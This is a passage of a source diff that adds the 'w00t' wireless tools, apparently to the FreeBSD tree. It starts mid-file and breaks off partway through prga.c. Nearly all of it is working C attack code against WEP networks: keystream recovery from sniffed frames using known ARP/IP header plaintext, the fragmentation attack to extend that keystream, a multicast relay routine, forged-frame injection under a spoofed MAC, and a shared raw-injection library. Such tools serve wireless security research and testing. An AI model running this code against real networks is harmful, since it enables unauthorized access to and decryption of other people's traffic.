+ wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
+
+ /* data */
+ len = sizeof(payload) - need_frag;
+ assert(len > 0 && len <= (p->prga_len - 4));
+ memcpy(data, &payload[need_frag], len);
+
+ /* crc */
+ crc = crc32(0L, Z_NULL, 0);
+ len = p->prga_len - 4;
+ pcrc = (uLong*) (data+len);
+ *pcrc = crc32(crc, data, len);
+
+ /* wepify */
+ len += 4;
+ for (i = 0; i < len; i++) {
+ assert( i < p->prga_len);
+ data[i] ^= p->prga[i];
+ }
+
+ len += sizeof(*wh) + 4;
+ p->packet_len = len;
+ send_packet(p);
+ }
+}
+
+void send_queue(struct params *p)
+{
+ struct queue *q = p->q;
+ int i;
+
+ assert(q);
+ assert(q->live);
+
+ for (i = 0; i < 5; i++) {
+ send_mcast(p, p->guess++);
+ }
+
+ p->state = S_WAIT_RELAY;
+}
+
+void got_mcast(struct params *p, struct ieee80211_frame *wh, int len)
+{
+ printf("ao\n");
+}
+
+void read_wifi(struct params *p)
+{
+ static char *buf = 0;
+ static int buflen = 4096;
+ struct ieee80211_frame *wh;
+ int rc;
+
+ if (!buf) {
+ buf = (char*) malloc(buflen);
+ if (!buf)
+ err(1, "malloc()");
+ }
+
+ rc = sniff(p->rx, buf, buflen);
+ if (rc == -1)
+ err(1, "sniff()");
+
+ wh = get_wifi(buf, &rc);
+ if (!wh)
+ return;
+
+ /* relayed macast */
+ if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
+ IEEE80211_FC0_SUBTYPE_DATA) &&
+ (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
+ (memcmp(wh->i_addr2, p->ap, 6) == 0) &&
+ (memcmp(wh->i_addr1, p->mcast, 5) == 0) &&
+ (memcmp(p->mac, wh->i_addr3, 6) == 0)) {
+ got_mcast(p, wh, rc);
+ return;
+ }
+
+ /* data */
+ if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
+ IEEE80211_FC0_SUBTYPE_DATA)) {
+ if (!wanted(p, wh, rc))
+ return;
+
+ enque(p, &buf, wh, rc);
+ if (p->state == S_START)
+ send_queue(p);
+ return;
+ }
+}
+
+void own(struct params *p)
+{
+ struct timeval tv;
+ struct timeval *to = NULL;
+ fd_set fds;
+ int tout = 10*1000;
+
+ if (p->state == S_WAIT_RELAY) {
+ int el;
+
+ /* check timeout */
+ if (gettimeofday(&tv, NULL) == -1)
+ err(1, "gettimeofday()");
+
+ el = elapsed(&p->last, &tv);
+
+ /* timeout */
+ if (el >= tout) {
+ if (p->q && p->q->live) {
+ send_queue(p);
+ el = 0;
+ } else {
+ p->state = S_START;
+ return;
+ }
+ }
+ el = tout - el;
+ tv.tv_sec = el/1000/1000;
+ tv.tv_usec = el - tv.tv_sec*1000*1000;
+ to = &tv;
+ }
+
+ FD_ZERO(&fds);
+ FD_SET(p->rx, &fds);
+
+ if (select(p->rx+1, &fds, NULL, NULL, to) == -1)
+ err(1, "select()");
+
+ if (FD_ISSET(p->rx, &fds))
+ read_wifi(p);
+}
+
+void usage(char *name)
+{
+ printf("Usage %s <opts>\n"
+ "-h\thelp\n"
+ "-b\t<bssid>\n"
+ "-t\t<tap>\n"
+ , name);
+ exit(1);
+}
+
+int main(int argc, char *argv[])
+{
+ struct params p;
+ char *iface = "ath0";
+ char *tap = "tap0";
+ int ch;
+
+ memset(&p, 0, sizeof(p));
+ memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6);
+ p.seq = getpid();
+ memcpy(p.mcast, "\x01\x00\x5e\x00\x00", 5);
+
+ while ((ch = getopt(argc, argv, "hb:t:")) != -1) {
+ switch (ch) {
+ case 't':
+ tap = optarg;
+ break;
+
+ case 'b':
+ if (str2mac(p.ap, optarg) == -1) {
+ printf("Can't parse BSSID\n");
+ exit(1);
+ }
+ break;
+
+ case 'h':
+ default:
+ usage(argv[0]);
+ break;
+ }
+ }
+
+ if ((p.rx = open_rx(iface)) == -1)
+ err(1, "open_rx()");
+ if ((p.tx = open_tx(iface)) == -1)
+ err(1, "open_tx()");
+
+ if ((p.tap = open_tap(tap)) == -1)
+ err(1, "open_tap()");
+ if (set_iface_mac(tap, p.mac) == -1)
+ err(1, "set_iface_mac()");
+
+ p.state = S_START;
+ while (1)
+ own(&p);
+
+ exit(0);
+}
diff --git a/tools/tools/net80211/w00t/libw00t/Makefile b/tools/tools/net80211/w00t/libw00t/Makefile
new file mode 100644
index 0000000..64dc51d
--- /dev/null
+++ b/tools/tools/net80211/w00t/libw00t/Makefile
@@ -0,0 +1,7 @@
+# $FreeBSD$
+
+LIB= w00t
+SRCS= w00t.c
+INTERNALLIB= true
+
+.include <bsd.lib.mk>
diff --git a/tools/tools/net80211/w00t/libw00t/w00t.c b/tools/tools/net80211/w00t/libw00t/w00t.c
new file mode 100644
index 0000000..3b8df2f
--- /dev/null
+++ b/tools/tools/net80211/w00t/libw00t/w00t.c
@@ -0,0 +1,414 @@
+/*-
+ * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ * $FreeBSD$
+ */
+#include <stdio.h>
+#include <assert.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <sys/socket.h>
+#include <sys/types.h>
+#include <sys/endian.h>
+#include <sys/uio.h>
+#include <unistd.h>
+#include <net/if.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <net/bpf.h>
+#include <net80211/ieee80211_radiotap.h>
+#include <net80211/ieee80211.h>
+#include <openssl/rc4.h>
+#include <zlib.h>
+#include "w00t.h"
+
+int str2mac(char *mac, char *str)
+{
+ unsigned int macf[6];
+ int i;
+
+ if (sscanf(str, "%x:%x:%x:%x:%x:%x",
+ &macf[0], &macf[1], &macf[2],
+ &macf[3], &macf[4], &macf[5]) != 6)
+ return -1;
+
+ for (i = 0; i < 6; i++)
+ *mac++ = (char) macf[i];
+
+ return 0;
+}
+
+void mac2str(char *str, char* m)
+{
+ unsigned char *mac = m;
+ sprintf(str, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
+ mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
+}
+
+short seqfn(unsigned short seq, unsigned short fn)
+{
+ unsigned short r = 0;
+
+ assert(fn < 16);
+
+ r = fn;
+ r |= ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
+ return r;
+}
+
+unsigned short seqno(struct ieee80211_frame *wh)
+{
+ unsigned short *s = (unsigned short*) wh->i_seq;
+
+ return (*s & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
+}
+
+int open_bpf(char *dev, int dlt)
+{
+ int i;
+ char buf[64];
+ int fd = -1;
+ struct ifreq ifr;
+
+ for(i = 0;i < 16; i++) {
+ sprintf(buf, "/dev/bpf%d", i);
+
+ fd = open(buf, O_RDWR);
+ if(fd == -1) {
+ if(errno != EBUSY)
+ return -1;
+ continue;
+ }
+ else
+ break;
+ }
+
+ if(fd == -1)
+ return -1;
+
+ strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);
+ ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0;
+
+ if(ioctl(fd, BIOCSETIF, &ifr) < 0)
+ return -1;
+
+ if (ioctl(fd, BIOCSDLT, &dlt) < 0)
+ return -1;
+
+ i = 1;
+ if (ioctl(fd, BIOCIMMEDIATE, &i) < 0)
+ return -1;
+
+ return fd;
+}
+
+int open_tx(char *iface)
+{
+ return open_bpf(iface, DLT_IEEE802_11_RADIO);
+}
+
+int open_rx(char *iface)
+{
+ return open_bpf(iface, DLT_IEEE802_11_RADIO);
+}
+
+int open_rxtx(char *iface, int *rx, int *tx)
+{
+ *rx = open_bpf(iface, DLT_IEEE802_11_RADIO);
+ *tx = *rx;
+
+ return *rx;
+}
+
+int inject(int fd, void *buf, int len)
+{
+ return inject_params(fd, buf, len, NULL);
+}
+
+int inject_params(int fd, void *buf, int len,
+ struct ieee80211_bpf_params *params)
+{
+ static struct ieee80211_bpf_params defaults = {
+ .ibp_vers = IEEE80211_BPF_VERSION,
+ /* NB: no need to pass series 2-4 rate+try */
+ .ibp_len = sizeof(struct ieee80211_bpf_params) - 6,
+ .ibp_rate1 = 2, /* 1 MB/s XXX */
+ .ibp_try1 = 1, /* no retransmits */
+ .ibp_flags = IEEE80211_BPF_NOACK,
+ .ibp_power = 100, /* nominal max */
+ .ibp_pri = WME_AC_VO, /* high priority */
+ };
+ struct iovec iov[2];
+ int rc;
+
+ if (params == NULL)
+ params = &defaults;
+ iov[0].iov_base = params;
+ iov[0].iov_len = params->ibp_len;
+ iov[1].iov_base = buf;
+ iov[1].iov_len = len;
+
+ rc = writev(fd, iov, 2);
+ if (rc == -1)
+ return rc;
+
+ rc -= iov[0].iov_len; /* XXX could be negative */
+ return rc;
+}
+
+int sniff(int fd, void *buf, int len)
+{
+ return read(fd, buf, len);
+}
+
+void *get_wifi(void *buf, int *len)
+{
+#define BIT(n) (1<<(n))
+ struct bpf_hdr* bpfh = (struct bpf_hdr*) buf;
+ struct ieee80211_radiotap_header* rth;
+ uint32_t present;
+ uint8_t rflags;
+ void *ptr;
+
+ /* bpf */
+ *len -= bpfh->bh_hdrlen;
+
+ if (bpfh->bh_caplen != *len) {
+ assert(bpfh->bh_caplen < *len);
+ *len = bpfh->bh_caplen;
+ }
+ assert(bpfh->bh_caplen == *len);
+
+ /* radiotap */
+ rth = (struct ieee80211_radiotap_header*)
+ ((char*)bpfh + bpfh->bh_hdrlen);
+ /* XXX cache; drivers won't change this per-packet */
+ /* check if FCS/CRC is included in packet */
+ present = le32toh(rth->it_present);
+ if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
+ if (present & BIT(IEEE80211_RADIOTAP_TSFT))
+ rflags = ((const uint8_t *)rth)[8];
+ else
+ rflags = ((const uint8_t *)rth)[0];
+ } else
+ rflags = 0;
+ *len -= rth->it_len;
+
+ /* 802.11 CRC */
+ if (rflags & IEEE80211_RADIOTAP_F_FCS)
+ *len -= IEEE80211_CRC_LEN;
+
+ ptr = (char*)rth + rth->it_len;
+ return ptr;
+#undef BIT
+}
+
+int send_ack(int fd, char *mac)
+{
+ static char buf[2+2+6];
+ static char *p = 0;
+ int rc;
+
+ if (!p) {
+ memset(buf, 0, sizeof(buf));
+ buf[0] |= IEEE80211_FC0_TYPE_CTL | IEEE80211_FC0_SUBTYPE_ACK;
+ p = &buf[4];
+ }
+
+ memcpy(p, mac, 6);
+
+ rc = inject(fd, buf, sizeof(buf));
+ return rc;
+}
+
+int open_tap(char *iface)
+{
+ char buf[64];
+
+ snprintf(buf, sizeof(buf), "/dev/%s", iface);
+ return open(buf, O_RDWR);
+}
+
+int set_iface_mac(char *iface, char *mac)
+{
+ int s, rc;
+ struct ifreq ifr;
+
+ s = socket(PF_INET, SOCK_DGRAM, 0);
+ if (s == -1)
+ return -1;
+
+ memset(&ifr, 0, sizeof(ifr));
+ strcpy(ifr.ifr_name, iface);
+
+ ifr.ifr_addr.sa_family = AF_LINK;
+ ifr.ifr_addr.sa_len = 6;
+ memcpy(ifr.ifr_addr.sa_data, mac, 6);
+
+ rc = ioctl(s, SIOCSIFLLADDR, &ifr);
+
+ close(s);
+
+ return rc;
+}
+
+int str2wep(char *wep, int *len, char *str)
+{
+ int klen;
+
+ klen = strlen(str);
+ if (klen % 2)
+ return -1;
+ klen /= 2;
+
+ if (klen != 5 && klen != 13)
+ return -1;
+
+ *len = klen;
+
+ while (klen--) {
+ unsigned int x;
+
+ if (sscanf(str, "%2x", &x) != 1)
+ return -1;
+
+ *wep = (unsigned char) x;
+ wep++;
+ str += 2;
+ }
+
+ return 0;
+}
+
+int wep_decrypt(struct ieee80211_frame *wh, int len, char *key, int klen)
+{
+ RC4_KEY k;
+ char seed[64];
+ char *p = (char*) (wh+1);
+ uLong crc = crc32(0L, Z_NULL, 0);
+ uLong *pcrc;
+
+ assert(sizeof(seed) >= klen + 3);
+ memcpy(seed, p, 3);
+ memcpy(&seed[3], key, klen);
+
+ RC4_set_key(&k, klen+3, seed);
+
+ len -= sizeof(*wh);
+ len -= 4;
+ p += 4;
+ RC4(&k, len, p, p);
+
+ crc = crc32(crc, p, len - 4);
+ pcrc = (uLong*) (p+len-4);
+
+ if (*pcrc == crc)
+ return 0;
+
+ return -1;
+}
+
+void wep_encrypt(struct ieee80211_frame *wh, int len, char *key, int klen)
+{
+ RC4_KEY k;
+ char seed[64];
+ char *p = (char*) (wh+1);
+ uLong crc = crc32(0L, Z_NULL, 0);
+ uLong *pcrc;
+
+ assert(sizeof(seed) >= klen + 3);
+ memcpy(seed, p, 3);
+ memcpy(&seed[3], key, klen);
+
+ RC4_set_key(&k, klen+3, seed);
+
+ len -= sizeof(*wh);
+ p += 4;
+ crc = crc32(crc, p, len - 4);
+ pcrc = (uLong*) (p+len-4);
+ *pcrc = crc;
+
+ RC4(&k, len, p, p);
+}
+
+int frame_type(struct ieee80211_frame *wh, int type, int stype)
+{
+ if ((wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) != type)
+ return 0;
+
+ if ((wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) != stype)
+ return 0;
+
+ return 1;
+}
+
+void hexdump(void *b, int len)
+{
+ unsigned char *p = (unsigned char*) b;
+
+ while (len--)
+ printf("%.2X ", *p++);
+ printf("\n");
+}
+
+int elapsed(struct timeval *past, struct timeval *now)
+{
+ int el;
+
+ el = now->tv_sec - past->tv_sec;
+ assert(el >= 0);
+ if (el == 0) {
+ el = now->tv_usec - past->tv_usec;
+ } else {
+ el = (el - 1)*1000*1000;
+ el += 1000*1000-past->tv_usec;
+ el += now->tv_usec;
+ }
+
+ return el;
+}
+
+static int is_arp(struct ieee80211_frame *wh, int len)
+{
+ /* XXX */
+ if (len > (sizeof(*wh) + 4 + 4 + 39))
+ return 0;
+
+ return 1;
+}
+
+char *known_pt(struct ieee80211_frame *wh, int *len)
+{
+ static char *known_pt_arp = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
+ static char *known_pt_ip = "\xAA\xAA\x03\x00\x00\x00\x08\x00";
+ int arp;
+
+ arp = is_arp(wh, *len);
+ *len = 8;
+ if (arp)
+ return known_pt_arp;
+ else
+ return known_pt_ip;
+}
diff --git a/tools/tools/net80211/w00t/libw00t/w00t.h b/tools/tools/net80211/w00t/libw00t/w00t.h
new file mode 100644
index 0000000..2164119
--- /dev/null
+++ b/tools/tools/net80211/w00t/libw00t/w00t.h
@@ -0,0 +1,57 @@
+/*-
+ * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ * $FreeBSD$
+ */
+#ifndef __W00T_H__
+#define __W00T_H__
+
+#include <net80211/ieee80211.h>
+#include <net80211/ieee80211_freebsd.h>
+
+int str2mac(char *mac, char *str);
+void mac2str(char *str, char *mac);
+int open_tx(char *iface);
+int open_rx(char *iface);
+int open_rxtx(char *iface, int *rx, int *tx);
+int inject(int fd, void *buf, int len);
+int inject_params(int fd, void *buf, int len,
+ struct ieee80211_bpf_params *params);
+int sniff(int fd, void *buf, int len);
+void *get_wifi(void *buf, int *len);
+short seqfn(unsigned short seq, unsigned short fn);
+int send_ack(int fd, char *mac);
+unsigned short seqno(struct ieee80211_frame *wh);
+int open_tap(char *iface);
+int set_iface_mac(char *iface, char *mac);
+int str2wep(char *wep, int *len, char *str);
+int wep_decrypt(struct ieee80211_frame *wh, int len, char *key, int klen);
+void wep_encrypt(struct ieee80211_frame *wh, int len, char *key, int klen);
+int frame_type(struct ieee80211_frame *wh, int type, int stype);
+void hexdump(void *b, int len);
+int elapsed(struct timeval *past, struct timeval *now);
+char *known_pt(struct ieee80211_frame *wh, int *len);
+
+#endif /* __W00T_H__ */
diff --git a/tools/tools/net80211/w00t/prga/Makefile b/tools/tools/net80211/w00t/prga/Makefile
new file mode 100644
index 0000000..c4d00b6
--- /dev/null
+++ b/tools/tools/net80211/w00t/prga/Makefile
@@ -0,0 +1,7 @@
+# $FreeBSD$
+
+.include <../Makefile.inc>
+
+PROG= prga
+
+.include <bsd.prog.mk>
diff --git a/tools/tools/net80211/w00t/prga/prga.c b/tools/tools/net80211/w00t/prga/prga.c
new file mode 100644
index 0000000..5672481
--- /dev/null
+++ b/tools/tools/net80211/w00t/prga/prga.c
@@ -0,0 +1,664 @@
+/*-
+ * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ * $FreeBSD$
+ */
+#include <sys/endian.h>
+#include <sys/time.h>
+#include <sys/select.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <err.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <assert.h>
+#include <zlib.h>
+#include "w00t.h"
+
+
+static char *known_pt_arp = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
+static char *known_pt_ip = "\xAA\xAA\x03\x00\x00\x00\x08\x00";
+static int known_pt_len = 8;
+
+enum {
+ S_START = 0,
+ S_SEND_FRAG,
+ S_WAIT_ACK,
+ S_WAIT_RELAY
+};
+
+struct params {
+ int tx;
+ int rx;
+
+ char mac[6];
+ char ap[6];
+
+ char prga[2048];
+ int prga_len;
+ char iv[3];
+
+ char *fname;
+
+ struct timeval last;
+ char packet[2048];
+ int packet_len;
+ int state;
+
+ char data[2048];
+ char *data_ptr;
+ int data_len;
+ int data_try;
+ int mtu;
+
+ int seq;
+ int frag;
+
+ int tap;
+};
+
+void usage(char *p)
+{
+ printf("Usage: %s <opts>\n"
+ "-h\thelp\n"
+ "-b\t<bssid>\n"
+ "-t\t<tap>\n"
+ , p);
+ exit(0);
+}
+
+void load_prga(struct params *p)
+{
+ int fd;
+ int rd;
+
+ fd = open(p->fname, O_RDONLY);
+ if (fd == -1) {
+ p->prga_len = 0;
+ return;
+ }
+
+ rd = read(fd, p->iv, 3);
+ if (rd == -1)
+ err(1, "read()");
+ if (rd != 3) {
+ printf("Short read\n");
+ exit(1);
+ }
+
+ rd = read(fd, p->prga, sizeof(p->prga));
+ if (rd == -1)
+ err(1, "read()");
+ p->prga_len = rd;
+
+ printf("Loaded %d PRGA from %s\n", p->prga_len, p->fname);
+ close(fd);
+}
+
+void save_prga(struct params *p)
+{
+ int fd;
+ int rd;
+
+ fd = open(p->fname, O_WRONLY | O_CREAT, 0644);
+ if (fd == -1)
+ err(1, "open()");
+
+ rd = write(fd, p->iv, 3);
+ if (rd == -1)
+ err(1, "write()");
+ if (rd != 3) {
+ printf("Short write\n");
+ exit(1);
+ }
+
+ rd = write(fd, p->prga, p->prga_len);
+ if (rd == -1)
+ err(1, "write()");
+ if (rd != p->prga_len) {
+ printf("Wrote %d/%d\n", rd, p->prga_len);
+ exit(1);
+ }
+ close(fd);
+
+ printf("Got %d bytes of PRGA\n", p->prga_len);
+}
+
+int is_arp(struct ieee80211_frame *wh, int len)
+{
+ /* XXX */
+ if (len > (sizeof(*wh) + 4 + 4 + 39))
+ return 0;
+
+ return 1;
+}
+
+void get_prga(struct params *p)
+{
+ char buf[4096];
+ int rc;
+ struct ieee80211_frame *wh;
+ char *bssid;
+ char *ptr;
+ char *known_pt;
+
+ rc = sniff(p->rx, buf, sizeof(buf));
+ if (rc == -1)
+ err(1, "sniff()");
+
+ wh = get_wifi(buf, &rc);
+ if (!wh)
+ return;
+
+ if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA,
+ IEEE80211_FC0_SUBTYPE_DATA))
+ return;
+
+ if (is_arp(wh, rc))
+ known_pt = known_pt_arp;
+ else
+ known_pt = known_pt_ip;
+
+ if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
+ bssid = wh->i_addr1;
+ else
+ bssid = wh->i_addr2;
+
+ if (memcmp(p->ap, bssid, 6) != 0)
+ return;
+
+ if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) {
+ printf("Packet not WEP!\n");
+ return;
+ }
+
+ ptr = (char*) (wh+1);
+ memcpy(p->iv, ptr, 3);
+ ptr += 4;
+ rc -= sizeof(wh) + 4;
+
+ assert(rc >= known_pt_len);
+
+ for (rc = 0; rc < known_pt_len; rc++) {
+ p->prga[rc] = known_pt[rc] ^ (*ptr);
+ ptr++;
+ }
+
+ p->prga_len = rc;
+ save_prga(p);
+}
+
+void start(struct params *p)
+{
+ int len;
+
+ len = p->prga_len;
+ len -= 4;
+ assert(len > 0);
+
+ len *= 4;
+ if (len > p->mtu)
+ len = p->mtu;
+
+ p->data_len = len;
+ memset(p->data, 0, p->data_len);
+ memcpy(p->data, "\xaa\xaa\x03\x00\x00\x00\x08\x06", 8);
+ p->data_ptr = p->data;
+ p->data_try = 0;
+ p->seq++;
+ p->frag = 0;
+ p->state = S_SEND_FRAG;
+}
+
+void send_packet(struct params *p)
+{
+ int rc;
+ struct ieee80211_frame *wh;
+
+ rc = inject(p->tx, p->packet, p->packet_len);
+ if (rc == -1)
+ err(1, "inject()");
+ if (rc != p->packet_len) {
+ printf("Wrote %d/%d\n", rc, p->packet_len);
+ exit(1);
+ }
+
+ p->data_try++;
+ wh = (struct ieee80211_frame*) p->packet;
+ wh->i_fc[1] |= IEEE80211_FC1_RETRY;
+
+ if (gettimeofday(&p->last, NULL) == -1)
+ err(1, "gettimeofday()");
+}
+
+void send_frag(struct params *p)
+{
+ struct ieee80211_frame *wh;
+ int dlen, rem;
+ int last = 0;
+ short *seqp;
+ char *ptr;
+ uLong *pcrc;
+ uLong crc = crc32(0L, Z_NULL, 0);
+ int i;
+
+ memset(p->packet, 0, sizeof(p->packet));
+ wh = (struct ieee80211_frame*) p->packet;
+
+ /* calculate how much data we need to copy */
+ dlen = p->prga_len - 4;
+ rem = p->data_ptr - p->data;
+ rem = p->data_len - rem;
+
+ if (rem <= dlen) {
+ dlen = rem;
+ last = 1;
+ }
+
+ /* 802.11 */
+ wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
+ wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
+ wh->i_fc[1] |= IEEE80211_FC1_WEP;
+ wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
+ if (!last)
+ wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
+
+ wh->i_dur[0] = 0x69;
+ wh->i_dur[1] = 0x00;
+
+ memcpy(wh->i_addr1, p->ap, 6);
+ memcpy(wh->i_addr2, p->mac, 6);
+ memset(wh->i_addr3, 0xff, 6);
+
+ seqp = (short*) wh->i_seq;
+ *seqp = seqfn(p->seq, p->frag);
+ p->frag++;
+
+ /* IV & data */
+ ptr = (char*) (wh+1);
+ memcpy(ptr, p->iv, 3);
+ ptr += 4;
+ memcpy(ptr, p->data_ptr, dlen);
+
+ /* crc */
+ crc = crc32(crc, ptr, dlen);
+ pcrc = (uLong*) (ptr+dlen);
+ *pcrc = crc;
+
+ /* wepify */
+ for (i = 0; i < dlen+4; i++)
+ ptr[i] = ptr[i] ^ p->prga[i];
+
+ /* prepare for next frag */
+ p->packet_len = sizeof(*wh) + 4 + dlen + 4;
+ p->data_ptr += dlen;
+#if 0
+ printf("Sening %sfrag [%d/%d] [len=%d]\n", last ? "last " : "",
+ p->seq, p->frag, dlen);
+#endif
+ if (last) {
+ p->data_ptr = p->data;
+ p->frag = 0;
+ p->seq++;
+ }
+
+ /* send it off */
+ send_packet(p);
+ p->state = S_WAIT_ACK;
+}
+
+void wait_ack(struct params *p)
+{
+ struct timeval now;
+ int el;
+ int tout = 10*1000;
+ fd_set fds;
+ int rc;
+ char buf[4096];
+ struct ieee80211_frame *wh;
+
+ if (gettimeofday(&now, NULL) == -1)
+ err(1, "gettimeofday()");
+
+ /* check for timeout */
+ el = elapsed(&p->last, &now);
+ if (el >= tout) {
+ if (p->data_try >= 3) {
+#if 0
+ printf("Re-sending whole lot\n");
+#endif
+ p->state = S_START;
+ return;
+ }
+#if 0
+ printf("Re-sending frag\n");
+#endif
+ send_packet(p);
+ el = 0;
+ }
+
+ el = tout - el;
+ now.tv_sec = el/1000/1000;
+ now.tv_usec = el - now.tv_sec*1000*1000;
+
+ FD_ZERO(&fds);
+ FD_SET(p->rx, &fds);
+ if (select(p->rx+1, &fds, NULL, NULL, &now) == -1)
+ err(1, "select()");
+
+ if (!FD_ISSET(p->rx, &fds))
+ return;
+
+ /* grab ack */
+ rc = sniff(p->rx, buf, sizeof(buf));
+ if (rc == -1)
+ err(1, "sniff()");
+
+ wh = get_wifi(buf, &rc);
+ if (!wh)
+ return;
+
+ if (!frame_type(wh, IEEE80211_FC0_TYPE_CTL, IEEE80211_FC0_SUBTYPE_ACK))
+ return;
+
+ if (memcmp(p->mac, wh->i_addr1, 6) != 0)
+ return;
+
+ /* wait for relay */
+ if (p->frag == 0) {
+ p->state = S_WAIT_RELAY;
+ if (gettimeofday(&p->last, NULL) == -1)
+ err(1, "gettimeofday()");
+ }
+ else
+ p->state = S_SEND_FRAG;
+}
+
+void wait_relay(struct params *p)
+{
+ int tout = 20*1000;
+ struct timeval now;
+ int el;
+ fd_set fds;
+ int rc;
+ char buf[4096];
+ struct ieee80211_frame *wh;
+ char *ptr;
+ uLong crc = crc32(0L, Z_NULL, 0);
+ uLong *pcrc;
+
+ if (gettimeofday(&now, NULL) == -1)
+ err(1, "gettimeofday()");
+
+ el = elapsed(&p->last, &now);
+ if (el >= tout) {
+#if 0
+ printf("No relay\n");
+#endif
+ p->state = S_START;
+ return;
+ }
+ el = tout - el;
